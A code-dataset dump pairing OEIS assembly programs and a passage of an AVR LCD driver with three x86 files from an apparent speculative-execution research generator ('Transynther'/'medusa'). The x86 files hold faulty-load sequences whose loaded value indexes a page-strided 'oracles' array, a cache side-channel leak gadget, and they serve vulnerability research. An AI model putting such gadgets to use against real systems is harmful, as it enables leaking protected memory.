hexsha
stringlengths
40
40
size
int64
6
1.05M
ext
stringclasses
3 values
lang
stringclasses
1 value
max_stars_repo_path
stringlengths
4
232
max_stars_repo_name
stringlengths
7
106
max_stars_repo_head_hexsha
stringlengths
40
40
max_stars_repo_licenses
listlengths
1
7
max_stars_count
int64
1
33.5k
max_stars_repo_stars_event_min_datetime
stringlengths
24
24
max_stars_repo_stars_event_max_datetime
stringlengths
24
24
max_issues_repo_path
stringlengths
4
232
max_issues_repo_name
stringlengths
7
106
max_issues_repo_head_hexsha
stringlengths
40
40
max_issues_repo_licenses
listlengths
1
7
max_issues_count
int64
1
37.5k
max_issues_repo_issues_event_min_datetime
stringlengths
24
24
max_issues_repo_issues_event_max_datetime
stringlengths
24
24
max_forks_repo_path
stringlengths
4
232
max_forks_repo_name
stringlengths
7
106
max_forks_repo_head_hexsha
stringlengths
40
40
max_forks_repo_licenses
listlengths
1
7
max_forks_count
int64
1
12.6k
max_forks_repo_forks_event_min_datetime
stringlengths
24
24
max_forks_repo_forks_event_max_datetime
stringlengths
24
24
content
stringlengths
6
1.05M
avg_line_length
float64
1.16
19.7k
max_line_length
int64
2
938k
alphanum_fraction
float64
0
1
4525a06355622478891c92c54794830556a58436
568
asm
Assembly
oeis/014/A014255.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/014/A014255.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/014/A014255.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A014255: Expansion of (1+2*x+3*x^2)/((1-x)*(1-x^2)^2). ; 1,3,8,12,21,27,40,48,65,75,96,108,133,147,176,192,225,243,280,300,341,363,408,432,481,507,560,588,645,675,736,768,833,867,936,972,1045,1083,1160,1200,1281,1323,1408,1452,1541,1587,1680,1728,1825,1875,1976,2028,2133,2187,2296,2352,2465,2523,2640,2700,2821,2883,3008,3072,3201,3267,3400,3468,3605,3675,3816,3888,4033,4107,4256,4332,4485,4563,4720,4800,4961,5043,5208,5292,5461,5547,5720,5808,5985,6075,6256,6348,6533,6627,6816,6912,7105,7203,7400,7500 mov $1,$0 add $1,2 add $0,$1 div $1,2 sub $0,$1 mul $0,$1
56.8
451
0.721831
9fb0c8f4f2f07bc8c792baf5f3a90e5646b9241d
5,834
asm
Assembly
Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0xca_notsx.log_21829_1809.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0xca_notsx.log_21829_1809.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0xca_notsx.log_21829_1809.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r12 push %r15 push %rbp push %rcx lea addresses_WT_ht+0x1e0f1, %r12 nop nop nop nop and %r15, %r15 mov (%r12), %rcx nop nop nop nop nop cmp %r10, %r10 lea addresses_UC_ht+0x495c, %r12 nop add $9783, %rcx mov $0x6162636465666768, %rbp movq %rbp, %xmm0 vmovups %ymm0, (%r12) nop nop dec %r12 pop %rcx pop %rbp pop %r15 pop %r12 pop %r10 ret .global s_faulty_load s_faulty_load: push %r10 push %r11 push %r12 push %r8 push %rax push %rdx push %rsi // Store lea addresses_WT+0x1f51d, %rax nop nop inc %r8 mov $0x5152535455565758, %r10 movq %r10, (%rax) nop nop nop nop nop cmp $25832, %r11 // Load lea addresses_RW+0x1ba71, %r12 clflush (%r12) xor $493, %rdx vmovups (%r12), %ymm2 vextracti128 $0, %ymm2, %xmm2 vpextrq $1, %xmm2, %rax nop nop nop sub $52226, %r10 // Store mov $0x9a1, %r10 nop nop sub $47306, %rdx mov $0x5152535455565758, %r8 movq %r8, (%r10) cmp $57664, %r8 // Store lea addresses_D+0x1d939, %r8 nop nop nop dec %rax mov $0x5152535455565758, %r10 movq %r10, (%r8) add $63918, %rsi // Store lea addresses_WT+0x11571, %r12 nop nop nop nop add %rsi, %rsi mov $0x5152535455565758, %r8 movq %r8, (%r12) nop nop nop nop nop sub %r10, %r10 // Store lea addresses_D+0xf271, %r12 nop nop dec %rax movb $0x51, (%r12) inc %rsi // Faulty Load lea addresses_D+0xb671, %r12 clflush (%r12) nop inc %rdx mov (%r12), %rsi lea oracles, %r8 and $0xff, %rsi shlq $12, %rsi mov (%r8,%rsi,1), %rsi pop %rsi pop %rdx pop %rax pop %r8 pop %r12 pop %r11 pop %r10 ret /* <gen_faulty_load> [REF] {'src': {'same': False, 'congruent': 0, 'NT': False, 'type': 'addresses_D', 'size': 16, 'AVXalign': True}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 1, 'NT': False, 'type': 'addresses_WT', 'size': 8, 'AVXalign': False}} {'src': {'same': False, 'congruent': 10, 'NT': False, 'type': 'addresses_RW', 'size': 32, 'AVXalign': False}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 4, 'NT': False, 'type': 'addresses_P', 'size': 8, 'AVXalign': False}} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 2, 'NT': False, 'type': 'addresses_D', 'size': 8, 'AVXalign': False}} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 3, 'NT': False, 'type': 'addresses_WT', 'size': 8, 'AVXalign': False}} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 10, 'NT': False, 'type': 'addresses_D', 'size': 1, 'AVXalign': False}} [Faulty Load] {'src': {'same': True, 'congruent': 0, 'NT': False, 'type': 'addresses_D', 'size': 8, 'AVXalign': False}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'same': False, 'congruent': 7, 'NT': False, 'type': 'addresses_WT_ht', 'size': 8, 'AVXalign': False}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 0, 'NT': False, 'type': 'addresses_UC_ht', 'size': 32, 'AVXalign': False}} {'36': 21829} 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 */
38.130719
2,999
0.65324
444e41d663cbd21e00db917450bfe1ee97af817c
5,143
asm
Assembly
Transynther/x86/_processed/NONE/_zr_/i7-8650U_0xd2.log_21829_420.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NONE/_zr_/i7-8650U_0xd2.log_21829_420.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NONE/_zr_/i7-8650U_0xd2.log_21829_420.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r10 push %rax push %rbx push %rcx push %rdi push %rdx push %rsi lea addresses_WC_ht+0xc793, %rsi lea addresses_D_ht+0x4313, %rdi cmp %r10, %r10 mov $74, %rcx rep movsb nop nop dec %rax lea addresses_A_ht+0xf293, %rbx add $35083, %rdx mov $0x6162636465666768, %rdi movq %rdi, %xmm2 movups %xmm2, (%rbx) nop nop xor $45447, %r10 lea addresses_UC_ht+0x1ec93, %rdx nop nop nop mfence movb (%rdx), %al nop nop and $64371, %r10 pop %rsi pop %rdx pop %rdi pop %rcx pop %rbx pop %rax pop %r10 ret .global s_faulty_load s_faulty_load: push %r10 push %r12 push %r14 push %r15 push %r9 push %rdx push %rsi // Store lea addresses_A+0x19b53, %rsi nop xor $9901, %r10 mov $0x5152535455565758, %r15 movq %r15, %xmm2 vmovups %ymm2, (%rsi) nop nop nop nop nop and %r12, %r12 // Store lea addresses_RW+0x15be3, %r10 nop add $49269, %r9 mov $0x5152535455565758, %rsi movq %rsi, (%r10) nop nop nop inc %r12 // Faulty Load lea addresses_UC+0x19c93, %r12 nop nop nop nop xor $24225, %r10 mov (%r12), %r9d lea oracles, %rsi and $0xff, %r9 shlq $12, %r9 mov (%rsi,%r9,1), %r9 pop %rsi pop %rdx pop %r9 pop %r15 pop %r14 pop %r12 pop %r10 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'type': 'addresses_UC', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_A', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 2, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_RW', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 2, 'same': False}} [Faulty Load] {'OP': 'LOAD', 'src': {'type': 'addresses_UC', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}} <gen_prepare_buffer> {'OP': 'REPM', 'src': {'type': 'addresses_WC_ht', 'congruent': 7, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 7, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 7, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_UC_ht', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 11, 'same': False}} {'00': 21829} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */
44.721739
2,999
0.659926
50f97b91b86af8e40504c22f2d0cd844c09d3f62
2,461
asm
Assembly
Transynther/x86/_processed/NONE/_zr_/i7-7700_9_0xca.log_1_308.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NONE/_zr_/i7-7700_9_0xca.log_1_308.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NONE/_zr_/i7-7700_9_0xca.log_1_308.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r12 push %r14 push %r8 push %rax push %rcx push %rdi push %rdx push %rsi lea addresses_WT_ht+0xaf52, %r14 nop nop nop cmp %r12, %r12 mov (%r14), %eax nop nop cmp %rsi, %rsi lea addresses_D_ht+0x4d9, %rsi lea addresses_WC_ht+0xf1d9, %rdi nop nop nop nop lfence mov $33, %rcx rep movsw nop nop nop nop nop and %rdi, %rdi lea addresses_D_ht+0x5b97, %r8 clflush (%r8) nop nop nop sub %rsi, %rsi movb (%r8), %al cmp %r14, %r14 lea addresses_D_ht+0x147d9, %rsi lea addresses_WC_ht+0x1d319, %rdi nop nop nop xor $55124, %rdx mov $10, %rcx rep movsw nop nop nop nop xor %r14, %r14 lea addresses_WC_ht+0x93d9, %r14 nop nop nop nop cmp $25189, %rdx movl $0x61626364, (%r14) nop and %rax, %rax pop %rsi pop %rdx pop %rdi pop %rcx pop %rax pop %r8 pop %r14 pop %r12 ret .global s_faulty_load s_faulty_load: push %r11 push %r12 push %r8 push %rbp push %rcx push %rdi push %rsi // REPMOV lea addresses_D+0x14a09, %rsi lea addresses_UC+0x137a8, %rdi nop nop nop nop nop add $11426, %rbp mov $24, %rcx rep movsw nop nop nop nop dec %rsi // Faulty Load lea addresses_UC+0x18459, %rsi nop nop nop inc %r8 movups (%rsi), %xmm4 vpextrq $0, %xmm4, %rdi lea oracles, %rsi and $0xff, %rdi shlq $12, %rdi mov (%rsi,%rdi,1), %rdi pop %rsi pop %rdi pop %rcx pop %rbp pop %r8 pop %r12 pop %r11 ret /* <gen_faulty_load> [REF] {'src': {'congruent': 0, 'AVXalign': False, 'same': False, 'size': 1, 'NT': False, 'type': 'addresses_UC'}, 'OP': 'LOAD'} {'src': {'congruent': 4, 'same': False, 'type': 'addresses_D'}, 'OP': 'REPM', 'dst': {'congruent': 0, 'same': False, 'type': 'addresses_UC'}} [Faulty Load] {'src': {'congruent': 0, 'AVXalign': False, 'same': True, 'size': 16, 'NT': False, 'type': 'addresses_UC'}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'congruent': 0, 'AVXalign': False, 'same': False, 'size': 4, 'NT': False, 'type': 'addresses_WT_ht'}, 'OP': 'LOAD'} {'src': {'congruent': 7, 'same': False, 'type': 'addresses_D_ht'}, 'OP': 'REPM', 'dst': {'congruent': 6, 'same': True, 'type': 'addresses_WC_ht'}} {'src': {'congruent': 1, 'AVXalign': False, 'same': False, 'size': 1, 'NT': True, 'type': 'addresses_D_ht'}, 'OP': 'LOAD'} {'src': {'congruent': 7, 'same': True, 'type': 'addresses_D_ht'}, 'OP': 'REPM', 'dst': {'congruent': 6, 'same': False, 'type': 'addresses_WC_ht'}} {'OP': 'STOR', 'dst': {'congruent': 7, 'AVXalign': False, 'same': False, 'size': 4, 'NT': False, 'type': 'addresses_WC_ht'}} {'00': 1} 00 */
17.705036
146
0.650549
a873d61106049a263a3ee2bc3dc34dd4f1de91cc
1,490
asm
Assembly
programs/oeis/267/A267682.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
2021-03-15T11:38:20.000Z
programs/oeis/267/A267682.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/267/A267682.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
; A267682: a(n) = 2*a(n-1) - 2*a(n-3) + a(n-4) for n > 3, with initial terms 1, 1, 4, 8. ; 1,1,4,8,15,23,34,46,61,77,96,116,139,163,190,218,249,281,316,352,391,431,474,518,565,613,664,716,771,827,886,946,1009,1073,1140,1208,1279,1351,1426,1502,1581,1661,1744,1828,1915,2003,2094,2186,2281,2377,2476,2576,2679,2783,2890,2998,3109,3221,3336,3452,3571,3691,3814,3938,4065,4193,4324,4456,4591,4727,4866,5006,5149,5293,5440,5588,5739,5891,6046,6202,6361,6521,6684,6848,7015,7183,7354,7526,7701,7877,8056,8236,8419,8603,8790,8978,9169,9361,9556,9752,9951,10151,10354,10558,10765,10973,11184,11396,11611,11827,12046,12266,12489,12713,12940,13168,13399,13631,13866,14102,14341,14581,14824,15068,15315,15563,15814,16066,16321,16577,16836,17096,17359,17623,17890,18158,18429,18701,18976,19252,19531,19811,20094,20378,20665,20953,21244,21536,21831,22127,22426,22726,23029,23333,23640,23948,24259,24571,24886,25202,25521,25841,26164,26488,26815,27143,27474,27806,28141,28477,28816,29156,29499,29843,30190,30538,30889,31241,31596,31952,32311,32671,33034,33398,33765,34133,34504,34876,35251,35627,36006,36386,36769,37153,37540,37928,38319,38711,39106,39502,39901,40301,40704,41108,41515,41923,42334,42746,43161,43577,43996,44416,44839,45263,45690,46118,46549,46981,47416,47852,48291,48731,49174,49618,50065,50513,50964,51416,51871,52327,52786,53246,53709,54173,54640,55108,55579,56051,56526,57002,57481,57961,58444,58928,59415,59903,60394,60886,61381,61877 mul $0,2 bin $0,2 div $0,2 mov $1,$0 add $1,1
165.555556
1,353
0.786577
d12442bd937965a99353d941751170da5aeca652
37,117
asm
Assembly
src/Display/asm/Display/Display.asm
randombenj/uController
4bcb3700c3ff1a7e9edbcab9bc3a7eee6fd7c857
[ "MIT" ]
2
2016-04-03T19:38:02.000Z
2016-12-12T13:02:32.000Z
src/Display/asm/Display/Display.asm
randombenj/uController
4bcb3700c3ff1a7e9edbcab9bc3a7eee6fd7c857
[ "MIT" ]
null
null
null
src/Display/asm/Display/Display.asm
randombenj/uController
4bcb3700c3ff1a7e9edbcab9bc3a7eee6fd7c857
[ "MIT" ]
null
null
null
;=============================================================================== ;- @program: display-driver ;- ----------------------------------------------------------------------------- ;- @filename: Display.asm ;- @version: 1.0.0 ;- @autor: Benj Fassbind ;- ;- @purpose: uP-Schulung ;- ;- @description: ;- ;- The LCD driver "speaks" with the LCD interface and puts content on the ;- LCD screen. For this purpose various functions are implemented in ;- AVR-Assembly. The Interface with the MPU is 4 bit long. ;- ;- Copyright (c) 2014 Benj Fassbind ;--- uCONTROLLER (ATMega2560) --- .include "m2560def.inc" ;--- INTERRUPT-ADDRESS-VECTORS --- ; -> Use 'nop' because interrupt-addresses are 16 bit, ; even though its a 8 bit MCU RJMP reset ; Ext-Pin, Power-on, Brown-out,Watchdog Reset NOP ; 0x0000 RETI ; External Interrupt Request 0 NOP ; 0x0002 RETI ; External Interrupt Request 1 NOP ; 0x0004 RETI ; External Interrupt Request 2 NOP ; 0x0006 RETI ; External Interrupt Request 3 NOP ; 0x0008 RETI ; External Interrupt Request 4 NOP ; 0x000A RETI ; External Interrupt Request 5 NOP ; 0x000C RETI ; External Interrupt Request 6 NOP ; 0x000E RETI ; External Interrupt Request 7 NOP ; 0x0010 RETI ; Pin Change Interrupt Request 0 NOP ; 0x0012 RETI ; Pin Change Interrupt Request 1 NOP ; 0x0014 RETI ; Pin Change Interrupt Request 2 NOP ; 0x0016 RETI ; Watchdog Time-out Interrupt NOP ; 0x0018 RETI ; Timer/Counter2 Compare Match A NOP ; 0x001A RETI ; Timer/Counter2 Compare Match B NOP ; 0x001C RETI ; Timer/Counter2 Overflow NOP ; 0x001E RETI ; Timer/Counter1 Capture Event NOP ; 0x0020 RETI ; Timer/Counter1 Compare Match A NOP ; 0x0022 RETI ; Timer/Counter1 Compare Match B NOP ; 0x0024 RETI ; Timer/Counter1 Compare Match C NOP ; 0x0026 RETI ; Timer/Counter1 Overflow NOP ; 0x0028 RETI ; Timer/Counter0 Compare Match A NOP ; 0x002A RETI ; Timer/Counter0 Compare Match B NOP ; 0x002C RETI ; Timer/Counter0 Overflow NOP ; 0x002E RETI ; SPI Serial Transfer Complete NOP ; 0x0030 RETI ; USART0 Rx Complete NOP ; 0x0032 RETI ; USART0 Data Register Empty NOP ; 0x0034 RETI ; USART0 Tx Complete NOP ; 0x0036 RETI ; Analog Comparator NOP ; 0x0038 RETI ; ADC Conversion Complete NOP ; 0x003A RETI ; EEPROM Ready NOP ; 0x003C RETI ; Timer/Counter3 Capture Event NOP ; 0x003E RETI ; Timer/Counter3 Compare Match A NOP ; 0x0040 RETI ; Timer/Counter3 Compare Match B NOP ; 0x0042 RETI ; Timer/Counter3 Compare Match C NOP ; 0x0044 RETI ; Timer/Counter3 Overflow NOP ; 0x0046 RETI ; USART1 Rx Complete NOP ; 0x0048 RETI ; USART1 Data Register Empty NOP ; 0x004A RETI ; USART1 Tx Complete NOP ; 0x004C RETI ; 2-wire Serial Interface NOP ; 0x004E RETI ; Store Program Memory Ready NOP ; 0x0050 RETI ; Store Program Memory Ready NOP ; 0x0052 RETI ; Timer/Counter4 Capture Event NOP ; 0x0054 RETI ; Timer/Counter4 Compare Match A NOP ; 0x0056 RETI ; Timer/Counter4 Compare Match B NOP ; 0x0056 RETI ; Timer/Counter4 Compare Match C NOP ; 0x0058 RETI ; Timer/Counter4 Overflow NOP ; 0x005A RETI ; Timer/Counter5 Capture Event NOP ; 0x005C RETI ; Timer/Counter5 Compare Match A NOP ; 0x005E RETI ; Timer/Counter5 Compare Match B NOP ; 0x0060 RETI ; Timer/Counter5 Compare Match C NOP ; 0x0062 RETI ; Timer/Counter5 Overflow NOP ; 0x0064 RETI ; USART2 Rx Complete NOP ; 0x0066 RETI ; USART2 Data Register Empty NOP ; 0x0068 RETI ; USART2 Tx Complete NOP ; 0x006A RETI ; USART3 Rx Complete NOP ; 0x006C RETI ; USART3 Data Register Empty NOP ; 0x006E RETI ; USART3 Tx Complete NOP ; 0x0070 ;--- Include-Files --- .include "..\..\..\lib\delay.inc" ;--- constants --- .equ LED = PORTB ; Output for LED .equ LED_D = DDRB ; Data direction Port for LED .equ SWITCH = PIND ; Input for SWITCH .equ SWITCH_D = DDRD ; Data direction Port for SWITCH .equ LCD = PORTA ; LCD output on Port C .equ LCD_D = DDRA ; Data direction Port for LCD .equ ENABLE = 0x20 ; ENABLE at port postion 5 .equ REG_SELECT = 0x10 ; REGISTERSELECT at port position 4 ;--- lcd instructions --- ;------------------------------------------------------------ ; FUNCTION SET: ;------------------------------------------------------------ ; RS | R/W | DB7 | DB6 | DB5 | DB4 | DB3 | DB2 | DB1 | DB0 | ;------------------------------------------------------------ ; 0 | 0 | 0 | 0 | 1 | DL | N | F | - | - | ;------------------------------------------------------------ ; DL: interface data length control bit (4 bit mode) ; N: line number (2 line) ; F: font type (5x8 bit) .equ FUNCTION_SET = 0x28 ;------------------------------------------------------------ ; ENTRY MODE SET: ;------------------------------------------------------------ ; RS | R/W | DB7 | DB6 | DB5 | DB4 | DB3 | DB2 | DB1 | DB0 | ;------------------------------------------------------------ ; 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | I/D | SH | ;------------------------------------------------------------ ; I/D: increment / decrement of DDRAM address (move to right) ; SH: shift of entire display (no shift) ; ; Entry mode set means that, ; when writing the cursor moves to the ; right. ; ; We want to increment the cursor ; (move to the right when writing) ; and not shift 